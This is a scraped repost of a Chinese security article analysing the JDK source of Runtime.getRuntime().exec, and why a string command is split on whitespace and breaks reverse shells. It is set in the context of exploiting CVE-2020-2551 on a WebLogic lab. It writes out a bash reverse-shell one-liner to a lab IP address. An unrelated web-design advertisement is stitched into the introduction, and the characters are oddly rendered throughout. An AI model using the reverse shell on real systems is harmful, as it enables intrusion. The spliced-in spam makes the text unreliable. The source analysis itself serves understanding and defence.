新聞中心
前言
遇到很多次在調(diào)用Runtime.getRuntime().exec方法進(jìn)行彈shell的時(shí)候遇到的各種限制,都沒(méi)好好的認(rèn)識(shí)認(rèn)識(shí)原理,這次主要是總一個(gè)總結(jié)和原理上的分析。

創(chuàng)新互聯(lián)服務(wù)項(xiàng)目包括波密網(wǎng)站建設(shè)、波密網(wǎng)站制作、波密網(wǎng)頁(yè)制作以及波密網(wǎng)絡(luò)營(yíng)銷策劃等。多年來(lái),我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,波密網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到波密省份的部分城市,未來(lái)相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!
環(huán)境搭建
之后使用docker起一個(gè)具有反序列化的漏洞的Java服務(wù)(能夠執(zhí)行命令就行)。
之后開啟調(diào)試的功能,
我這里直接就是用存在的weblogic的漏洞環(huán)境,直接通過(guò)發(fā)送T3協(xié)議數(shù)據(jù)包來(lái)觸發(fā)反序列化漏洞。
起因
我這里使用的是CVE-2020-2551進(jìn)行利用,
我們首先進(jìn)行curl命令執(zhí)行看看是否可以執(zhí)行命令。
接下來(lái)我們使用反彈shell的命令嘗試
bash -i >& /dev/tcp/192.168.153.1/8080 0>&1
按照正常的邏輯,應(yīng)該會(huì)成功的?。?!
但是,并沒(méi)有,如圖:
細(xì)節(jié)
我們跟進(jìn)一下Runtime執(zhí)行命令的源碼。
因?yàn)閷?duì)于linux和windows版本的JDK有一點(diǎn)小區(qū)別,所以我這里在項(xiàng)目依賴的位置將windows版的rt.jar包替換成了linux版的rt.jar包。
好了,言歸正傳,開始分析Runtime.getRuntime().exec執(zhí)行命令的邏輯了。
在Runtime類中的exec方法存在有多個(gè)重載,大致可以分成傳入的參數(shù)是一個(gè)字符串,或者是一個(gè)字符串?dāng)?shù)組進(jìn)行命令執(zhí)行。
字符串執(zhí)行
我們首先來(lái)看看字符串作為參數(shù)的情況是怎么樣的。
在這個(gè)方法中將會(huì)調(diào)用this.exec((String)var1, (String[])null, (File)null)方法繼續(xù)進(jìn)行調(diào)用。
在這個(gè)方法中,首先是傳入的命令不能為空,不然會(huì)拋出異常,之后主要是創(chuàng)建了一個(gè)StringTokenizer對(duì)類對(duì)象,傳入的構(gòu)造方法參數(shù)是我們需要執(zhí)行的命令字符串。
從該方法的注釋中也能夠看出端倪來(lái)。
使用通過(guò)調(diào)用 new StringTokenizer(command) 創(chuàng)建的 StringTokenizer 將命令字符串分解為標(biāo)記,而無(wú)需進(jìn)一步修改字符類別。分詞器生成的分詞然后以相同的順序放置在新的字符串?dāng)?shù)組 cmdarray 中
所以我們可以跟進(jìn)StringTokenizer類的構(gòu)造方法中
為指定的字符串構(gòu)造一個(gè)字符串分詞器。分詞器使用默認(rèn)的分隔符集,即“\t\n\r\f”:空格字符、制表符、換行符、回車符和換頁(yè)符。
也就是使用這個(gè)類將命令字符串中跟據(jù)\t\n\r\f等字符來(lái)進(jìn)行分割成一塊塊的數(shù)組,
主要的實(shí)現(xiàn)方法就是在exec方法中,首先調(diào)用StringTokenizer#countTokens來(lái)初始化cmdarray這個(gè)數(shù)組對(duì)象。
主要是利用skipDelimiters / scanToken這兩個(gè)方法來(lái)進(jìn)行切片操作的
之后就是調(diào)用nextToken方法來(lái)為前面初始化的數(shù)組進(jìn)行賦值操作
在分割成了數(shù)組之后調(diào)用exec的重載方法public Process exec(String[] cmdarray, String[] envp, File dir)
終歸還是回到了ProcessBuilder類對(duì)象的創(chuàng)建來(lái),在Java中另一種執(zhí)行命令的方式就是通過(guò)調(diào)用ProcessBuilder#start()方法來(lái)執(zhí)行命令。
這里進(jìn)行了environment / 工作目錄的初始化之后調(diào)用了start方法進(jìn)行命令執(zhí)行操作。
這里獲取的是命令字符串的分割之后的第一塊,這個(gè)就是該命令執(zhí)行的環(huán)境,比如/bin/sh / /bin/bash這些。
可以注意到在其后面有一個(gè)System.getSecurityManager方法的調(diào)用,這個(gè)就是通過(guò)調(diào)用checkExec方法來(lái)判斷該次的命令調(diào)用是否合法,也是Java內(nèi)置的一種安全管理。
之后就是調(diào)用ProcessImpl.start方法進(jìn)行執(zhí)行了,
最后將會(huì)創(chuàng)建一個(gè)UNIXProcess類對(duì)象。
傳入的第一個(gè)參數(shù)是/bin/bash這種運(yùn)行環(huán)境,第二個(gè)參數(shù)就是后面緊跟的需要執(zhí)行的命令,
在這個(gè)類構(gòu)造方法中,將會(huì)通過(guò)調(diào)用forkAndExec方法來(lái)創(chuàng)建了一個(gè)進(jìn)程該方法返回了該進(jìn)程的PID號(hào)。
總結(jié)
使用Runtime.getRuntime().exec()方法執(zhí)行命令的時(shí)候,會(huì)將傳入的字符串命令,根據(jù)\t\n\r\f等分隔符進(jìn)行分割,之后在進(jìn)行命令的執(zhí)行。
數(shù)組執(zhí)行
如果傳入的參數(shù)是一個(gè)數(shù)組對(duì)象,來(lái)到的具體代碼就是在public Process exec(String cmdarray[])方法的調(diào)用中。
直接就來(lái)到了exec的重載方法public Process exec(String[] cmdarray, String[] envp, File dir)
在這個(gè)方法中,直接就將該數(shù)組對(duì)象傳入的ProcessBuilder的構(gòu)造方法中,之后調(diào)用start方法進(jìn)行執(zhí)行。
總結(jié)
使用exec的數(shù)組作為參數(shù)傳入的重載方法,不同于使用字符串的重載方法進(jìn)行命令執(zhí)行,具體到代碼中就是少了一步通過(guò)創(chuàng)建了一個(gè)StringTokenizer類對(duì)象來(lái)自動(dòng)進(jìn)行命令的分割,在某些情況下,將會(huì)造成命令不能執(zhí)行的情況,數(shù)組方式是直接傳入的自己已經(jīng)分好塊的命令數(shù)組進(jìn)行命令執(zhí)行,Java便不會(huì)自動(dòng)將本應(yīng)該在一起的命令分割開來(lái)造成錯(cuò)誤。
本文作者:superLeeH, 轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM
分享名稱:從JDK源碼中探究Runtime#exec的限制
文章網(wǎng)址:http://m.5511xx.com/article/cojgcjo.html


咨詢
建站咨詢
